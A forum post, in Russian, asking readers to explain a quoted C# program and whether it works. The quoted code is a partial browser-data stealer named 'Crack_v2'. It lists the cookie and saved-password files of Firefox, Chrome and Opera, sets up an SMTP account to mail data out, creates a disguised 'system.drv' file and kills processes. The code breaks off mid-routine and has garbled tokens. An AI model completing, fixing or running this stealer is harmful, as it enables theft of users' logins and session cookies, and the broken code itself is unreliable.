Расскажите как работает эта программа.... и рабочая ли она? и правильно ли написана?
Цитата:
using System;
using System.Collections.Generic;
using System.Text;
using System.Security.Principal;
using System.Web.Mail;
using System.Net.Sockets;
using System.Net;
namespace Crack_v2
{
class Data
{
public static readonly string MailAddressTo = "none"; //адрес на который осуществляется отправка
public static readonly string MailAddressFrom = "noen"; // адрес с которого осуществляется отправка
public static readonly string SMTPServer = "smtp.mail.ru"; // адрес SMTP сервера с которого будут уходить письма
public static readonly string UserName = "none"; // логин учётной записи с которой будут уходить письма
public static readonly string UserPassword = "none"; // пароль учётной записи с которой будут уходить письма
public static readonly string AdditionalInfo = "test";
public static readonly string fileName = @"\system.drv";
public static readonly string FireFox_Coockies = @"\Mozilla\Firefox\Profiles";
public static readonly string Chrome_Coockies = @"\Google\Chrome\User Data\Default\Cookies";
public static readonly string Opera_Coockies = @"\Opera\Opera\cookies4.dat";
public static readonly string Chrome_Pass = @"\Google\Chrome\User Data\Default\Web Data";
public static readonly string Opera_Pass = @"\Opera\Opera\wand.dat";
}
class Program
{
static void GetDisks(System.Collections.ArrayList DList)
{
string[] disks = System.IO.Directory.GetLogicalDrives();
foreach (string disk in disks)
{
System.IO.DriveInfo DiskProperty = new System.IO.DriveInfo(disk);
if (DiskProperty.DriveType.ToString() == "Fixed")
{
DList.Add(disk.ToString());
}
}
}
static void GetDirectiry(string dir, System.Collections.ArrayList DList)
{
string[] directory = System.IO.Directory.GetFileSystemEntries(dir);
foreach (string str in directory)
DList.Add(str);
}
static void GetFiles(string dir, System.Collections.ArrayList FilesList, string F)
{
System.Collections.ArrayList DirList = new System.Collections.ArrayList();
GetDirectiry(dir, DirList);
foreach (string path in DirList)
{
string[] files = System.IO.Directory.GetFiles(path, F);
foreach (string file in files)
{
FilesList.Add(file);
}
}
}
static string GetInfoUser(string sURL)
{
string INFO = "";
WebRequest wrGETURL;
wrGETURL = WebRequest.Create(sURL);
System.IO.Stream objStream;
objStream = wrGETURL.GetResponse().GetResponseStream();
System.IO.StreamReader objReader = new System.IO.StreamReader(objStream);
string sLine = "";
int i = 0;
while (sLine != null)
{
i++;
sLine = objReader.ReadLine();
if (sLine != null)
{
INFO += string.Format("{0}:{1}", i, sLine);
}
}
return INFO;
}
static void CreateFile()
{
string FileName = Data.fileName;
string Path = Environment.GetFolderPath(Environment.SpecialFolde r.ApplicationData).ToString() + FileName;
System.IO.File.Create(Path);
}
static void KillProcess(string ProcName)
{
try
{
System.Diagnostics.Process[] Proc;
Proc = System.Diagnostics.Process.GetProcessesByName(Proc Name);
int i = 0;
while (i != Proc.Length)
{
Proc[i].Kill();
i++;
}
}
catch { }
}
static void _breack(System.Collections.ArrayList List)
{
List.Add("________________");
List.Add("");
}
System.Collections.ArrayList InfoList = new System.Collections.ArrayList();
System.Collections.ArrayList DisksList = new System.Collections.ArrayList();
System.Collections.ArrayList FilesList = new System.Collections.ArrayList();
string M = "";
int count = 1;
_breack(InfoList);
WindowsIdentity user = WindowsIdentity.GetCurrent();